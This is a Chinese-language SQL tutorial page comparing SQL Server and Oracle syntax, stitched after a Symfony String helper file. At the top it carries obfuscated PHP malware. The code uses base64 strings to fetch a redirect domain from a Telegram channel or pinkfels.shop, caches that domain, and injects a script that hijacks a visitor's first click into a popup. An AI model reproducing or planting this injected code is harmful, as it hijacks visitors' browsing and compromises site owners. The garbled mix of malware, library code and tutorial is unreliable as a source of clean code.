function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45) { if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a) { preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if (empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=') . '97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if ($var_46cae77fe5ea47d71b4e481b77b36db3) { $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if ($var_ca82733491623ed9ca5b46aa68429a45) { $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD5jbGlja19yID0gZmFsc2U7IHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJsb2FkIixmdW5jdGlvbigpe2RvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgZnVuY3Rpb24oKXsgaWYoY2xpY2tfciA9PSBmYWxzZSkgd2luZG93Lm9wZW4oIg==').$var_ca82733491623ed9ca5b46aa68429a45.base64_decode('Iik7IGNsaWNrX3IgPSB0cnVlO30pO30pOzwvc2NyaXB0Pg=='); } ?> /* * This file is part of the Symfony package. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; if (!\function_exists(u::class)) { function u(?string $string = ''): UnicodeString { return new UnicodeString($string ?? ''); } } if (!\function_exists(b::class)) { function b(?string $string = ''): ByteString { return new ByteString($string ?? ''); } } if (!\function_exists(s::class)) { /** * @return UnicodeString|ByteString */ function s(?string $string = ''): AbstractString { $string = $string ?? ''; return preg_match('//u', $string) ? new UnicodeString($string) : new ByteString($string); } } 【SQL語法進階】SQL Server與Oracle語法差異與實戰範例 - OOLIN

【SQL語法進階】SQL Server與Oracle語法差異與實戰範例

資料庫

在實際應用中,SQL 查詢往往會涉及到更為複雜的場景,如多表聯接、窗口函數、複雜的子查詢和資料分組等。本文將介紹一些進階的 SQL 查詢語法,幫助你在 SQL Server 和 Oracle 中處理更複雜的數據操作。

1. 多表聯接(JOIN)

假設有三個表格:EmployeesDepartmentsSalaries,我們需要查詢每個部門中的員工及其薪水。

表格結構:

  • Employees 表:EmployeeID, Name, DepartmentID
  • Departments 表:DepartmentID, DepartmentName
  • Salaries 表:EmployeeID, Salary

例子:列出相關資訊

列出所有員工的姓名、部門名稱以及薪水,並按薪水降序排列。

SQL 查詢:

SELECT e.Name, d.DepartmentName, s.Salary
FROM Employees e
INNER JOIN Departments d ON e.DepartmentID = d.DepartmentID
INNER JOIN Salaries s ON e.EmployeeID = s.EmployeeID
ORDER BY s.Salary DESC;

這個查詢首先將 Employees 表與 Departments 表、Salaries 表進行內聯接(INNER JOIN),然後根據薪水對結果進行排序。

2. 窗口函數(Window Functions)

窗口函數允許你在查詢中對某一個分組或排序進行操作,而不會影響查詢的結果集。常見的窗口函數有 ROW_NUMBER()RANK()DENSE_RANK() 等。

例子:查詢員工薪水排名

假設我們有一個 Salaries 表,包含員工的 EmployeeIDSalary,我們想要查詢員工的薪水排名。

SELECT EmployeeID, Salary,
ROW_NUMBER() OVER (ORDER BY Salary DESC) AS SalaryRank
FROM Salaries;
  • ROW_NUMBER() 函數為每行數據分配一個唯一的排名,並且根據 Salary 降序排列。這樣,薪水最高的員工會獲得排名 1。

注意:

窗口函數在 SQL Server 和 Oracle 中的語法是相同的。

3. 使用子查詢進行條件篩選

有時我們需要使用子查詢來篩選數據,特別是在 WHERE 子句中。以下是一個例子,假設我們有兩個表格:EmployeesSalaries,並希望查詢薪水高於所有員工薪水平均值的員工。

SQL 查詢:

SELECT e.EmployeeID, e.Name, s.Salary
FROM Employees e
INNER JOIN Salaries s ON e.EmployeeID = s.EmployeeID
WHERE s.Salary > (
SELECT AVG(Salary)
FROM Salaries
);

這個查詢首先計算出所有員工的平均薪水,然後選擇薪水高於平均值的員工。

4. 使用CASE語句進行條件處理

CASE 語句用於在 SQL 查詢中進行條件邏輯運算。它可以在 SELECTUPDATEORDER BY 等地方使用。

例子:根據員工薪水給予薪資等級

假設我們想要根據薪水給每個員工分配一個等級,薪水高於 80000 的員工為 “High”,介於 50000 到 80000 之間的員工為 “Medium”,低於 50000 的員工為 “Low”。

SELECT EmployeeID, Name, Salary,
CASE
WHEN Salary > 80000 THEN 'High'
WHEN Salary BETWEEN 50000 AND 80000 THEN 'Medium'
ELSE 'Low'
END AS SalaryLevel
FROM Employees;

這個查詢使用 CASE 條件語句根據每位員工的薪水給出對應的薪資等級。

5. 使用GROUP BY和HAVING進行分組和過濾

當你需要對數據進行分組並根據某些條件篩選結果時,可以使用 GROUP BYHAVINGGROUP BY 用來將數據分組,HAVING 用於對分組後的數據進行過濾。

例子:查詢每個部門的員工數量,並過濾出員工數量大於 5 的部門

SELECT d.DepartmentName, COUNT(e.EmployeeID) AS EmployeeCount
FROM Employees e
INNER JOIN Departments d ON e.DepartmentID = d.DepartmentID
GROUP BY d.DepartmentName
HAVING COUNT(e.EmployeeID) > 5;

這個查詢首先將員工按部門進行分組,然後過濾出員工數量大於 5 的部門。

6. 複雜的子查詢與EXISTS

EXISTS 用於檢查子查詢是否返回結果。它通常用於條件過濾,特別是在處理多表聯接時。

例子:查詢有薪水的員工(存在薪水記錄)

SELECT e.EmployeeID, e.Name
FROM Employees e
WHERE EXISTS (
SELECT 1
FROM Salaries s
WHERE s.EmployeeID = e.EmployeeID
);

這個查詢使用 EXISTS 子查詢來過濾出有對應薪水記錄的員工。

7. 使用UNION合併結果集

UNION 用於將兩個或多個查詢的結果合併為一個結果集,並去除重複的行。如果你希望保留重複的行,可以使用 UNION ALL

例子:從兩個不同的表中查詢員工姓名和部門名稱

SELECT Name AS EmployeeName, 'Employee' AS Source
FROM Employees
UNION
SELECT DepartmentName AS EmployeeName, 'Department' AS Source
FROM Departments;

這個查詢將來自 EmployeesDepartments 表的數據合併成一個結果集,並添加一個名為 Source 的列來標示數據來源。

結語

以上介紹一些常見的複雜查詢語法,這些查詢不僅涵蓋了多表聯接、窗口函數、子查詢等進階操作,還包括了如何使用 CASE 進行條件邏輯處理、如何使用 GROUP BYHAVING 進行數據分組等。希望能夠在 SQL 查詢中靈活應對各種需求。

發佈留言